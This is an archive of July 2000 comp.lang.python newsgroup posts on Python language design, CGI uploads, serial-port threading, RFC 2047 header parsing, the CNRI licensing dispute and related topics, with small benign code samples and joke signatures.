> If that is the common opinion or the opinion of our Ruler

When ESR submitted such a patch, Guido ruled it out, and /F seems to agree
with me.

> I will
> subtract my proposal, and submit a bug report that those test()
> routines are undocumented.

Why? It's quite alright that there will be undocumented routines in
modules. This is a module implementation issue.
(If you want to test that the module is working, you can look inside)

> As a reply to your last sentence I can add that my own programs can
> use up to 200MB of memory during normal use, or much more if you
> really stress them.

Then the few KB of extra compiled code shouldn't matter to you...
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From jgraves3 at austin.rr.com  Thu Jul 27 15:33:38 2000
From: jgraves3 at austin.rr.com (jay graves)
Date: Thu, 27 Jul 2000 19:33:38 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <slrn8nv0l4.mqi.grey@teleute.rpglink.com> <cp3dkwl2ia.fsf@cj20424-a.reston1.va.home.com> <slrn8o0m0c.qhk.grey@teleute.rpglink.com> <39807595.D6F543E9@netscape.net.remove> <FMsgUTBHBIg5Ew9s@jessikat.fsnet.co.uk>
Message-ID: <39808d84.23819726@news-server.austin.rr.com>

On Thu, 27 Jul 2000 19:32:39 +0100, Robin Becker
<robin at jessikat.fsnet.co.uk> wrote:
>The difference between eels and lawyers is that one is a slimy creature
>you wouldn't want your sister to marry; I forget what you're supposed to
>say about the fish. 
>-Expecting a barrage of torts-ly yrs- 

good one.  how about...

Q: How do you keep a lawyer from drowning?


A: Take your foot off his neck.





From olivierS.dagenaisP at canadaA.comM  Wed Jul 19 15:00:40 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Wed, 19 Jul 2000 19:00:40 GMT
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <3975E070.308511F4@roguewave.com> <3975FF92.1B031588@schneider-kamp.de> <3975EF36.1651C9CB@roguewave.com>
Message-ID: <sVmd5.137259$HK2.2442794@news20.bellglobal.com>

> > merge([1, 2, 3], [4, 5, 6]) == [1, 4, 2, 5, 3, 6]
> > or
> > merge([1, 2, 3], [4, 5, 6]) == [(1, 4), (2 ,5), (3, 6)]

Maybe we need two descriptive names for those, like:

interspersed([1, 2, 3], [4, 5, 6]) == [1, 4, 2, 5, 3, 6]

...which could be named something like "zigzag" or "collect", to mean pick
one of the first, one of the second, one of the first, one of the second,
etc...  Maybe we can think of it as two sides of a street, both of which
have houses that have an assigned "address", but traversing the whole
"street", you would see, from looking left, then right (and repeating), the
sequence of house numbers [1, 4, 2, 5, 3, 6], whereas looking on only the
left side would yield [1, 2, 3]...


and

paired_up([1, 2, 3], [4, 5, 6]) == [(1, 4), (2 ,5), (3, 6)]

...which could be named something like "rungs" or "ladder", if you think of
the input as:
1            4
2    and     5
3            6

and the output as

1 ---------- 4
2 ---------- 5
3 ---------- 6

...that looks like rungs or a ladder, no?  Or like a "Zipper" (tm), although
"zip" is too often associated with compressed archives, like Bjorn points
out...  (Isn't a DNA strand like a "twisted" ladder?)

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Bjorn Pettersen" wrote in message news:3975EF36.1651C9CB at roguewave.com...
> Peter Schneider-Kamp wrote:
> >
> > Okay, assume you call it "merge". What will somebody who
> > doesn't know what it's for think it does?
> >
> > merge([1, 2, 3], [4, 5, 6]) == [1, 4, 2, 5, 3, 6]
> >
> > or
> >
> > merge([1, 2, 3], [4, 5, 6]) == [(1, 4), (2 ,5), (3, 6)]?
>
> Point taken.
>
> > Where's your problem with zip?
>
> Not a problem really, although my first association was "why would we
> want to iterate over a compressed sequence..." <wink>
>
> -- bjorn
>




From claird at starbase.neosoft.com  Sun Jul 30 22:07:36 2000
From: claird at starbase.neosoft.com (Cameron Laird)
Date: 30 Jul 2000 21:07:36 -0500
Subject: How does Python compare to ?
References: <Pine.GSO.4.10.10007290929450.18798-100000@sundial>
Message-ID: <2BC506F412001015.A448199B4E14D358.B1243148487C59CB@lp.airnews.net>

In article <Pine.GSO.4.10.10007290929450.18798-100000 at sundial>,
Moshe Zadka  <moshez at math.huji.ac.il> wrote:
>On Sat, 29 Jul 2000, Frank Kruchio wrote:
>
>> Specifically I couldn't find any info on how does Python compared(if you can) to PHP.
			.
			.
			.
Briefly,
1.  PHP is targeted only for Web service, 
2.  the PHP folks have done monumental work
    at connecting all kinds of data stores
    (including everything like RDBMS, ADO,
    ODBC, ...) through PHP, and
3.  PHP is "simple to learn" (for vaguely
    C-ish, HTMLish, ... backgrounds) while
    Python is object-orientedly lovely and
    pure.
Other differences are barely worth mentioning at this level.
			.
			.
			.
>> What about Python versus Java Servlets for CGI applications ?
>
>Why use CGI? Its time is long past. If anything, you should compare
>
>Apache/PHP vs. Enhydra/Java vs. Zope/Python
>
>as modern days site building tools. Each has its own advantages and
>disadvantages.
Moshe and I see some things differently.

CGI isn't modern, but it's going to be in use for a looooong
time, I claim.

Maybe you use the language differently than I do.  I don't
think of servlets as CGI.  What *is* CGI to you?

Moshe is quite right that it's useful and interesting to compare
Enhydra, Zope, and PHP-endowed Apache.

Are syntax differences truly of interest to you?  What's an
example of an answer to your questions that would be useful
to you?
			.
			.
			.
-- 

Cameron Laird <claird at NeoSoft.com>
Business:  http://www.Phaseit.net
Personal:  http://starbase.neosoft.com/~claird/home.html


From tim.hochberg at ieee.org  Thu Jul 20 12:38:24 2000
From: tim.hochberg at ieee.org (Tim Hochberg)
Date: Thu, 20 Jul 2000 16:38:24 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <39771CA8.A1BF8D6E@fft.be> <y$M38JArNyd5EwxV@jessikat.fsnet.co.uk>
Message-ID: <m2g0p4oljh.fsf@spiff.home.com>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:
[...] 
> We have three common multiplies for matrices and I claim that n vectors
> are n by 1 matrices.  I agree that for higher order tensors the outer
> product is more complicated, but see 
> 
>         http://mathworld.wolfram.com/TensorDirectProduct.html

Unfortunately, (or fortunately depending on your point of view) none
(?)  matrix types floating around PyLand right now have a notion of
Contravariant or Covariant indices.

[I vaguely recall Konrand's Scientific Python package having something
in this vein although I could easily be wrong]

> the kronecker product is also called the matrix direct product
> 
> 
> A ox B = [a11 B a12 B]
>          [a12 B a22 B]
> 
> seems to me to be like a tensor outer product; but I ain't no
> mathematician ;)

Very odd indeed. (Just in case anyone else was confused, that's a11*B
and a12*B etc.)

> 
> the lie product (or bracket) has applications in sensitivity analysis
> and other more exotic stuff in differential geometry
> 
> [A,B] = AB - BA

It's the commutator! Why didn't anyone say so earlier. 

-tim



From jepler.lnk at lnk.ispi.net.bbs  Sun Jul 16 22:00:01 2000
From: jepler.lnk at lnk.ispi.net.bbs (jepler.lnk at lnk.ispi.net.bbs)
Date: 17 Jul 2000 02:00:01 GMT
Subject: Is pickle buggy?
Message-ID: <3bQhU2$izl@openbazaar.net>

On Fri, 14 Jul 2000 11:29:51 +0100, Brian Kelley
 <kelley at bioreason.com> wrote:
>I goofed, I actually do get this behavior in windows.  I started a new thread
>"string issues or questions about intern"

Oh good!  So we agree that the problem is
	while:
		eval(`uniquestring()`)
and presumably because of the implicit intering of the string itself?

See you on the other thread, which seems to have gotten more traffic.

Jeff


From grey at despair.rpglink.com  Sun Jul 30 20:46:17 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Mon, 31 Jul 2000 00:46:17 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl> <slrn8o6mr7.f91.grey@teleute.rpglink.com> <8m25dm$ila$1@newshost.accu.uu.nl>
Message-ID: <slrn8o9iuj.i9b.grey@teleute.rpglink.com>

On 30 Jul 2000 21:07:02 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>print bar

    This is different than

bar

>Ahum, the latter isn't really possible in Python. Your integer wil never
>ever be converted to a noninteger. 

    Yes it will.  int(), str(), etc, etc, etc...  I never said the language
converted it, I just said it was converted and Python certainly does that.

>And you need to remember what all your operations do to any data type
>that they may encounter. I don't.

    I never have yet.  :)

>1 isn't mutable into anything at all either, by the way. Neither are
>strings. The name 'b' can however be made to point to something else.
>That is an entirely different thing though, and from the way you're
>speaking I'm not entirely clear whether you understand this yet.

    OK, to be strict.  None can't be converted, neither can 1.  For some
reason, however, b, which was pointing to 1 can be made to point to something
else which we'll call the integer formerly known as 1 where as None things
cannot be repointed from.  None is like that really nasy uncle everone has who
scratches himself in public and has a huge beer belly.  You don't want to
look, but you are compelled to until the end of time.

    The net result, of course, is that int() can point b to something else in
some cases and not others, or, in layman's terms, it can convert certain
things and not others.  However, since the docs for int do state "convert"
both in the language and in the book I have I don't think it was too bad of me
to have used that term, no?

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From rumjuggler at cryptarchy.org  Sun Jul 16 05:26:13 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sun, 16 Jul 2000 09:26:13 GMT
Subject: Python equivalent of CPAN in Perl
References: <397122FB.71E32674@wl.vg> <8krfa9$vf4$1@nntp9.atl.mindspring.net> <PKYoxIA+wXc5EwNL@jessikat.fsnet.co.uk>
Message-ID: <j703nsg4dbqvpprhk1kmoefkj7ofgfgrc0@4ax.com>

On Sun, 16 Jul 2000 10:11:26 +0100, Robin Becker
<robin at jessikat.fsnet.co.uk> wrote:

>In article <8krfa9$vf4$1 at nntp9.atl.mindspring.net>, Aahz Maruch
><aahz at netcom.com> writes
>...
>>
>>We've got half of it with Vaults of Parnassus.  Another third will come
>>with the standardization of distutils in Python 2.0 (remember, 1.6 has
>>been renamed to 2.0).
>...
>Unfortunately not true. A large share of the Python market (on win32)
>have no compilers and probably wouldn't/couldn't use one even if it were
>present. I doubt the extension builders will always want to include
>.pyds for Python15.dll Python20.dll etc etc.

Also, limited support is provided for Borland C++, IIRC.

-- 
Barnabas T. Rumjuggler

Oh, oh, 'courtesan', oh aren't we grand.  Harlot's not good enough for us
eh?  Paramour, concubine, fille de joie.  That's what we are not.  Well
listen to me my fine fellow, you are a bit of tail, that's what you are.
 -- Monty Python, "Biggles Dictates a Letter"


From julesk24 at my-deja.com  Mon Jul 17 08:50:01 2000
From: julesk24 at my-deja.com (julesk24 at my-deja.com)
Date: Mon, 17 Jul 2000 12:50:01 GMT
Subject: Reading asynchronous data from a serial device
Message-ID: <8kuvdq$13j$1@nnrp2.deja.com>

I am attempting to write a program (to run on a
linux box) in python  which communicates to a
device via a serial port.  The problem is that
the device is not reliable in responding when
expected.  Therefore, I have many reads timeout.
I am relatively new to the world of multiple
threads so I am probably making many mistakes.
My current approach is to use a separate thread
for the read and then to join() the thread back
into the main thread if the read is not sucessful
within the given amount of time.  The end result
is hundreds of hung processes and an eventual
segmentation fault (the program needs to be
designed to run for days).  My questions are:

1)  Is there any (easy) way for me to cause the
thread to exit (not just join the processes)
after a timeout on a read?

2)  Is there a better way of reading for data
(without starting my own thread for the read
process and then trying to exit out of the thread
after a period of time)?

I have read through the newsgroups, but I haven't
found anything which specifically answers my
questions.  Thanks to anyone who can answer my
questions!

Julie Kempton
jmk11 at duke.edu


Sent via Deja.com http://www.deja.com/
Before you buy.


From sahrens at uv.ruhr-uni-bochum.de  Fri Jul 21 14:00:26 2000
From: sahrens at uv.ruhr-uni-bochum.de (Sebastian Ahrens)
Date: Fri, 21 Jul 2000 20:00:26 +0200
Subject: help on wininet (Internet Controls)
Message-ID: <39788FB9.F9F940E6@uv.ruhr-uni-bochum.de>

Hi,
I am trying to find out how to use the Microsoft Internet Transfer
Controls Com Object. Now I can?t figure out how to use the openURL
method which reqires two Arguments (URL and DataType) On the one hand I
don?t know who to specify the desired datatype (in VB it?s icByteArray
or String) and on the other I don?t know how to get the returned data.

The second question is whether anyone out there knows how to change the
Proxy Setting in MSIE from python...

Thanks and best regards...


                -Sebastian-
----------------------------------------------
email: sahrens at uv.ruhr-uni-bochum.de




From dsavitsk at e-coli.net  Fri Jul 14 15:11:15 2000
From: dsavitsk at e-coli.net (dsavitsk)
Date: Fri, 14 Jul 2000 19:11:15 GMT
Subject: Why make a language case sensitive?
References: <000801bfeda1$fcd99a20$6cb745c6@timaratz>
Message-ID: <nBJb5.58368$dF.2276137@news1.rdc1.il.home.com>

this particular example is windows only, but i have a program which closes a
text file and a DAO database at the same time.  the code is as follows:

>>> oFile.close() # Text File
>>> oData.Close() # DAO Database

which bugs me to no end. perhaps python would get confused were they the
same?

doug

"Peter Timaratz" <timaratz at lisco.com> wrote in message
news:000801bfeda1$fcd99a20$6cb745c6 at timaratz...
> I can't think of any advantages to a case sensitive language. Python is a
> very well-designed language though, so I imagine there is a good reason
that
> it is case sensitive. So what are the advantages of a case sensitive
> language?
>
>




From moshez at math.huji.ac.il  Thu Jul 20 02:39:05 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Thu, 20 Jul 2000 09:39:05 +0300 (IDT)
Subject: iterating over lines in a file
In-Reply-To: <Uvqd5.21615$DZ4.69024@news.corecomm.net>
Message-ID: <Pine.GSO.4.10.10007200934550.23388-100000@sundial>

On Wed, 19 Jul 2000, nobody wrote:

> this doesn't seem to have a simple, direct analog in python. searching
> around on the web i found a solution at faqts.com (though this newbie
> might like to see it explained, but whatever works):
> 
> class Reader:
>     def __init__(self, source):
>         self.source = source
>     def readline(self):
>         line = self.source.readline()
>         self.line = line
>         return line             # may be empty, thus false
> 

Just put the class in a module you write, and use it everywhere

> now, this seems to me like an awful lot of typing just to get around
> the fact that assignments in python do not seem to be expressions
> returning the value assigned. since that is thus in several other
> languages, and since it gives rise to several common idioms of this
> type, i can only assume that there must be some good reason for
> breaking this pattern in python; i just can't see what it could
> possibly be.


Preventing world war III, when Python achieves world domination.
If C is allowed to achieve world domination, WWIII will be cause by

if(everything_is_ok = 0) {
	launch_missile();
}

Whereas since Python wwill achieve world domination, 

if everything_is_ok = 0:
	launch_missile()

Is a syntax error, and wil be detected before it is allowed into the
automated defense system.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From pauljolly at my-deja.com  Fri Jul 28 07:41:01 2000
From: pauljolly at my-deja.com (pauljolly at my-deja.com)
Date: Fri, 28 Jul 2000 11:41:01 GMT
Subject: Searching in an html file
Message-ID: <8lrrgd$9o7$1@nnrp1.deja.com>

Dear all,

I have managed to write the code to retrieve an html file from a given
address, and transfer this to a variable. I am now trying to search for
a &deg; within the file, using the re module. I cannot however get it
to work. My code is as follows:

import re
searchstring=re.compile('&deg;')
result=searchstring.search(htmlcode)

where htmlcode is the code from the page retrieved.

This gives result=NONE. What is going wrong here? I know that &deg; can
be found within the page, I have checked in TextPad. I am completely
stuck because when I try the same search but on the following string:

"Thisisastringonwhichiwilltestthecodetofind&deg;withinthetext"

it finds the &deg; without any problem. The only difference I can see
between the two strings is their length. The htmlcode string is 24KB,
the string above much less. What is going on here?

Any help is much appreciated.

Paul Jolly


Sent via Deja.com http://www.deja.com/
Before you buy.


From stadt at cs.utwente.nl  Fri Jul 14 05:39:22 2000
From: stadt at cs.utwente.nl (Richard van de Stadt)
Date: Fri, 14 Jul 2000 11:39:22 +0200
Subject: INPUT TYPE=file in HTML
References: <Pine.LNX.4.10.10007111835580.31780-100000@pop3.ifs.org.uk>
Message-ID: <396EDFCA.61835BE6@cs.utwente.nl>

Jocelyn Paine wrote:
> 
> Hi,
> 
> I've been trying to read files uploaded from an HTML <INPUT TYPE=FILE>
> field using the CGI module. Are there known problems with this? The
> documentation says that if we take the value attribute of the form fields
> structure, it returns the entire contents of the file as a string. The
> file attribute returns a pointer to the file. But when I try this, I seem
> to get the filename as the value attribute, and nothing as the file
> attribute.
> 
> The field is inside a form whose HTML arguments are just ACTION and
> METHOD, nothing else. The field has a TYPE argument whose value is "file",
> and a NAME attribute. And this combination of field and form works OK if I
> use it to pload a file to a Perl CGI.

If you use these on your webform:

<form enctype="multipart/form-data"
    method="post"
    action="/cgi-bin/yourScript.py">

<input name="theFile" type="file" size=40>
<input type="submit" value="Upload">
</form>

Then, in yourScript.py, you can get the filename and contents by using this:

import cgi
aForm = cgi.FieldStorage()
fname = aForm["theFile"].filename  #(name at the client's side!) 
fcontents = aForm["theFile"].value #(as a string)

There are more fields you can use. See cgi.py, which lists them.

Note: Apparently, the cgi.FieldStorage() uses some location to store
temporary results. If there is not enough disk space available at that
location ('/usr/tmp' or '/tmp', by default), it won't work, but you get
no error message. At least this was the case when I started using Python,
with release 1.4, where I could not catch this error. Since then, I assign
to os.environ['TMPDIR'] the name a directory of which I am sure that it
contains enough space to handle the files that are going to be uploaded.

Richard.


From nobody at nowhere.nohow  Sun Jul  2 11:57:35 2000
From: nobody at nowhere.nohow (Grant Edwards)
Date: Sun, 02 Jul 2000 15:57:35 GMT
Subject: Traping output from os.system
References: <8jn34q$kpn$1@news.lth.se> <hCI75.5717$Tb7.31730@news-server.bigpond.net.au>
Message-ID: <PDJ75.2521$iN5.605374@ptah.visi.com>

On Sun, 02 Jul 2000 14:47:41 GMT, Mark Hammond <MarkH at ActiveState.com> wrote:

>You want "popen".  For non-windows platforms, "os.popen" is where you can
>find it.  For Win32 systems, you need the win32 extensions, and
>"win32pipe.popen".

The commands module has a nice function that runs a program and
returns the exit status and output as a tuple.

-- 
Grant Edwards                   grante             Yow!  I represent a
                                  at               sardine!!
                               visi.com            


From peter at schneider-kamp.de  Thu Jul 20 20:53:25 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Fri, 21 Jul 2000 00:53:25 +0000
Subject: [ANNOUNCE] Python Enhancement Proposals on the Web
Message-ID: <39779F05.3181C5E5@schneider-kamp.de>

The so called PEPs (Python Enhancement Proposals) are now
available on the web at

  http://python.sourceforge.net/peps

Thanks to /F who hacked up a small pep2html converter you
can browse them as hypertext rather than as the plain text
they are.

PEPs that already carry some content include:

0201  Parallel Iteration                   bwarsaw
0203  Augmented Assignments                twouters
0204  Range Literals                       twouters
0206  2.0 Batteries Included               moshez

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From thomas at xs4all.net  Mon Jul 31 18:56:19 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Tue, 1 Aug 2000 00:56:19 +0200
Subject: [4th Draft] Open Letter to CNRI: Request for clarification
In-Reply-To: <39861169.3A2A5102@nowonder.de>; from nowonder@nowonder.de on Mon, Jul 31, 2000 at 11:53:13PM +0000
References: <3985969C.48222D21@nowonder.de> <FyKs2H.DKo@world.std.com> <39861169.3A2A5102@nowonder.de>
Message-ID: <20000801005619.O266@xs4all.nl>

On Mon, Jul 31, 2000 at 11:53:13PM +0000, Peter Schneider-Kamp wrote:

> Will Ware wrote:
> > 
> > 1. CNRI legally owns Python, up to version 1.6. You and I don't have
> > any legal rights of any kind in this matter. The user community does
> > not collectively have any legal rights in this matter. We are extremely
> > dependent upon CNRI's good will.

> I doubt that. As far as I understood the matter Python 1.5.2
> was released under the old CWI license. Am I missing something?

Probably, but who isn't ! 'Ownership' of Python and the Licence that Python
is distributed under, however, are two entirely different things. Indeed,
'ownership' of what ? Of the source code ? Of the 'python' name ? Of the
Python language ? As far as I can tell, we're all talking about ownership of
the source, and that hasn't much to do with who wrote the licence that is
currently in use. Note that the 1.5.2 licence does mention CNRI, so it's not
like they 'forgot' to change the licence when Guido fled Amsterdam.

Only-to-return-a-world-leader-twenty-years-later-ly y'rs,

PS: Even if CNRI does 'own' Python, which is likely,  I don't think the
'until version 1.6' holds up! What if CNRI decides to make a 1.7 ? <wink>

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From erikd at zip.com.au  Mon Jul 31 03:14:04 2000
From: erikd at zip.com.au (Erik de Castro Lopo)
Date: Mon, 31 Jul 2000 07:14:04 +0000
Subject: Fixed format input
References: <Pine.GSO.4.21.0007301234570.22110-100000@atlas.biostat.washington.edu>
Message-ID: <3985273C.6B14FC84@zip.com.au>

Na Li wrote:
> 
> Hi, I am new to python but has been programming with Perl for a while. Is
> there a way to read fixed field length format input files in python? Like
> what can be done with Perl unpack() function?

Look at the struct module which is part of the standard Python 
module library.

Erik
-- 
+-------------------------------------------------+
     Erik de Castro Lopo     erikd at zip.com.au
+-------------------------------------------------+
Everything that I've learned about computers I have boiled 
down into three principles:
  Unix: You think it won't work, but if you find the right 
        guru, you can make it work.
  Macintosh: You think it will work, but it won't.
  PC/Windows: You think it won't work, and it won't.


From jared at tgflinux.com  Tue Jul 11 20:33:45 2000
From: jared at tgflinux.com (Jared Lee Peterson)
Date: Tue, 11 Jul 2000 17:33:45 -0700
Subject: File IO with select?
Message-ID: <396BBCE9.2C114ED3@tgflinux.com>

I am trying to syncronize two clients that are accessing the same file.
One client spawns the other and then needs to wait until process two
writes to the file before it can then read from it.  I am trying to use
select() for this but I am not having much luck.  So I guess that my
question would be whether or not I can use select() for this or not.  If
so could someone offer some guidance ... if not could someone offer
another suggestion.  Thanks a lot

Jared Peterson



From darrell at dorb.com  Wed Jul  5 20:38:34 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Wed, 5 Jul 2000 17:38:34 -0700
Subject: ASPIPython update on Starship
References: <8jvg2d$8q5$1@nnrp1.deja.com>
Message-ID: <029c01bfe6e2$84dff390$6401a8c0@home>

From: "Sam Schulenburg" <samschul at pacbell.net>
> I have made some corrections to ASPIPython, that correct memory leaks
> found in aspi.dll.
> 
> ASPIPython is a open source python interface to the (A)dvanced (S)
> system (P)programming (I)nterface for SCSI devices developed by Adaptec
> Corp. This interface allows for the development of tests under Python
> for SCSI disk drives. These routines can be found at
> http://starship.python/crew/schulen
> 

This link worked better for me :)
http://starship.python.net/crew/samschul/

--Darrell Gallion




From pinard at iro.umontreal.ca  Thu Jul  6 19:53:38 2000
From: pinard at iro.umontreal.ca (=?ISO-8859-1?Q?Fran=E7ois_Pinard?=)
Date: 06 Jul 2000 19:53:38 -0400
Subject: RFC 2047 parser
In-Reply-To: Jason Abate's message of "Wed, 05 Jul 2000 23:27:13 GMT"
References: <3963C30E.D8FB9B13@hostway.com>
Message-ID: <oqpuoqzugt.fsf@titan.progiciels-bpi.ca>

[Jason Abate]

> I was wondering if anyone has put together code for parsing mail headers
> encoded according to  RFC 2047 (Message Header Extensions for
> Non-ASCII Text).

I needed this soon after learning Python (so this is part of my first Python
lines, I would probably write something simpler today :-) and quickly
wrote what appears below.  However, I found out after the fact that the
Python library had something already.  See mimify.mime_decode_header.


# Handling of RFC 2047 (previously RFC 1522) headers.

import re, string

def to_latin1(text):
    return _sub_f(r'=\?ISO-8859-1\?Q\?([^?]*)\?=', re.I, _replace1, text)

def _replace1(match):
    return _sub_f('=([0-9A-F][0-9A-F])', re.I, _replace2,
                  re.sub('_', ' ', match.group(1)))

def _replace2(match):
    return chr(string.atoi(match.group(1), 16))

def _sub_f(pattern, flags, function, text):
    matcher = re.compile(pattern, flags).search
    position = 0
    results = []
    while 1:
        match = matcher(text, position)
        if not match:
            results.append(text[position:])
            return string.joinfields(results, '')
        results.append(text[position:match.start(0)])
        position = match.end(0)
        results.append(function(match))

-- 
Fran?ois Pinard   http://www.iro.umontreal.ca/~pinard




From petersc at stud.ntnu.no  Sun Jul  9 04:35:07 2000
From: petersc at stud.ntnu.no (Peter Schneider-Kamp)
Date: Sun, 09 Jul 2000 08:35:07 +0000
Subject: Parsing lists
References: <UQU95.68799$HK2.1203440@news20.bellglobal.com>
Message-ID: <3968393B.725F4625@stud.ntnu.no>

Seamus Venasse wrote:
> 
> I am creating a simple list of titles and urls.  I would like to parse this
> list, but I keep receiving an error.  Here is a simplified version of my
> code and error received:
> 
> >>> list = [ 'title1', 'url1', 'title2', 'url2', 'title3', 'url3' ]
> >>> for title, url in list:
> ...     print title, url
> ...
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> ValueError: unpack sequence of wrong size

If you are using this form of the for-loop you need your list be
a list of sequences (e.g. tuples, lists). In your example:

list = [ ('title1', 'url1'), ('title2', 'url2'), ('title3', 'url3') ]
for title, url in list:
    print title, url

If possible change the structure of your list accordingly.

Good luck,
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From gabriel_ambuehl at buz.ch  Mon Jul 24 07:50:21 2000
From: gabriel_ambuehl at buz.ch (Gabriel Ambuehl)
Date: Mon, 24 Jul 2000 13:50:21 +0200
Subject: Variables in strings..
In-Reply-To: <8lh75e+tjtl@eGroups.com>
References: <8lh75e+tjtl@eGroups.com>
Message-ID: <119330503709.20000724135021@buz.ch>

Hello Steve,
Monday, July 24, 2000, 12:52:30 PM, you wrote:

>   print "Hello %s" % names[1]
> to the eyes of anyone but a Perl afficionado.

Perhaps. But in real world (tm) CGI scripts, one needs more than just
one variable in there. I've got Perl scripts who insert aroun 40
variables (including array slices) during one print <<"EOF"
instruction. I could live with the "%(myvar)" % vars() syntax if there
would be a possibility to reference to lists and dictionary entries as
well. Without it, it's a real pain to quickly write CGI scripts.
Hell,
content='<tr> <td> <a href="http://'+ pair[0] + '">' + pair[0]+ '</a> </td> <td>' + pair[1] + '</td><td><a href="' + PathToScript
etc is nothing I can consider readably. (though pair1=pair[1]
and pair2=pair[2] would do the job but that's not really what I'd
consider elegant...)






Best regards,
 Gabriel





From mwh21 at cam.ac.uk  Tue Jul 25 17:41:17 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 25 Jul 2000 22:41:17 +0100
Subject: Memory management
References: <8lkdh5$qpm$1@news.rchland.ibm.com> <m3zon6asl3.fsf@atrus.jesus.cam.ac.uk> <8lkuiq$qt0$1@news.rchland.ibm.com>
Message-ID: <m3og3lc2gy.fsf@atrus.jesus.cam.ac.uk>

"Larry Whitley" <ldw at us.ibm.com> writes:

> Reading through Quick Python.  For those who want to get explicit about
> memory management, it looks like the authors advise saying "object = None"
> rather than "del object".  Is that the correct interpretation?  

For this purpose, they have the same effect.

> Presumably Python will then call object.__del__() when the garbage
> collector runs.

... sorry, parsing failure here ... 
Python calls object.__del__ *when* object's refcount hits zero; if
you're talking about the maybe-in-2.0 garbage collector, then I
believe the answer is "it depends" - I'm not sure what on, but it's a
tricky area.

Cheers,
M.

-- 
  Programming languages should be designed not by piling feature on
  top of  feature, but by removing the  weaknesses and restrictions
  that make the additional features appear necessary.
               -- Revised(5) Report on the Algorithmic Language Scheme


From akuchlin at mems-exchange.org  Mon Jul 31 17:35:06 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 31 Jul 2000 17:35:06 -0400
Subject: Python license (was RE: Python plug-ins for Adobe Products available)
References: <LNBBLJKPBEHFEDALKOLCKEAHGNAA.tim_one@email.msn.com> <8m4eu7$1tj1@drn.newsguy.com>
Message-ID: <3dr98agf05.fsf@kronos.cnri.reston.va.us>

Grant Griffin <g2 at seebelow.org> writes:
> Sorry if I already missed it, but what in the heck is "GPL compatibility"?   We

It probably means "Can code under this new licence be linked with code
licenced under the GPL?"

> Isn't the law run mainly by lawyers?
> (BTW, does anybody know if the GPL ever been tested in court?)

CNRI's corporate counsel, for good or ill, does not believe the GPL
will ultimately stand up in court.  I think this is incorrect -- Next
backed down and obeyed the GPL's terms in their use of GCC, and both
IBM and Sun, two entities not noted for disregarding legal niceties,
consider the GPL binding enough to use for releases of some of their
own code -- but my opinion is of little weight.

> p.s.  I think one day, Richard Stallman will be remembered for helping create a
> great movement he never intended: "free software" in the Python, not GPL sense.

I don't think RMS cares about that; if everyone was using free
software under a BSDish licence, that would be fine, but he considers
the GPL more likely to encourage the creation of more free software.
(And he's very probably right.)

--amk


From akuchlin at mems-exchange.org  Mon Jul 10 10:40:23 2000
From: akuchlin at mems-exchange.org (Andrew M. Kuchling)
Date: 10 Jul 2000 09:40:23 -0500
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Jul 10)
Message-ID: <F0A65FDBBB1210C2.7503F6B2AB981484.BB307C06F4A6AB72@lp.airnews.net>

    Python 1.6 has been renumbered Python 2.0, and Guido explains
    why:  "While Python users have grown fond of Python's exceedingly
    small version number increments, those low version numbers make
    parts of the rest of the world think that Python is barely out of
    its first alpha test. Especially enterprise customers are often
    fearful of anything that's version 1.x!"  Ah, marketing!
        http://www.pythonlabs.com/tech/python2.html
        
    Garry Hodgson asks for tutorial suggestions for IPC9:
        http://www.deja.com/getdoc.xp?AN=639730851&fmt=text 

    An alpha version of a Palm Pilot port of Python-1.5.2+ is
    announced: (Presumably 1.5.2+ means 1.5.2 plus some of the
    changes from the CVS tree) "This release includes the modified
    Python source and tools for creating Palm applications from Python
    modules.  ... We emphasize that this is an alpha release and is
    deficient in many respects."
        http://www.isr.uci.edu/projects/sensos/python/.  

